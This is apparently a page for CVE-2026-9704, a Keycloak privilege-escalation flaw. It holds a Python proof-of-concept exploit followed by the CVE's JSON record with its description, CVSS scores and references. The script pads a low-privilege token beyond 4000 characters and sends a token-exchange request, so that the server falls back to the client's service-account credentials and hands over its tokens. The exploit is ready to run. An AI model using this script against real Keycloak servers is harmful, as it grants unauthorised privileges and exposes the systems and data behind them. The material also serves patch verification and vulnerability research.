CVE-2026-9704

import requests def exploit_keycloak_privilege_escalation(target_url, client_id, valid_user_token): """ PoC for CVE-2026-9704 Exploits the logic flaw where an oversized subject_token causes a fallback to client credentials. """ token_endpoint = f"{target_url}/realms/master/protocol/openid-connect/token" # Create an oversized subject_token (> 4000 characters) # In a real scenario, this might be a valid JWT header padded with junk oversized_token = valid_user_token + "A" * (4001 - len(valid_user_token)) payload = { "grant_type": "urn:ietf:params:oauth:grant-type:token-exchange", "client_id": client_id, "subject_token": oversized_token, "requested_token_type": "urn:ietf:params:oauth:token-type:refresh_token" } try: response = requests.post(token_endpoint, data=payload) if response.status_code == 200: print("[+] Exploit successful! Token received:") print(response.json()) else: print("[-] Exploit failed or patched.") print(response.text) except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET = "https://localhost:8080" CLIENT_ID = "vulnerable-client" USER_TOKEN = "valid.low.priv.token" exploit_keycloak_privilege_escalation(TARGET, CLIENT_ID, USER_TOKEN)

{"cve": {"id": "CVE-2026-9704", "sourceIdentifier": "[email protected]", "published": "2026-05-27T14:17:40.480", "lastModified": "2026-05-27T14:54:20.160", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. An authenticated user with low privileges can exploit this vulnerability by sending an oversized subject_token JSON Web Token (JWT) to the TokenEndpoint. When the token exceeds a 4000-character limit, it is silently dropped, causing the system to fall back to client credentials. This allows the user to gain the permissions of the client's service account, leading to privilege escalation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9704", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481877", "source": "[email protected]"}]}}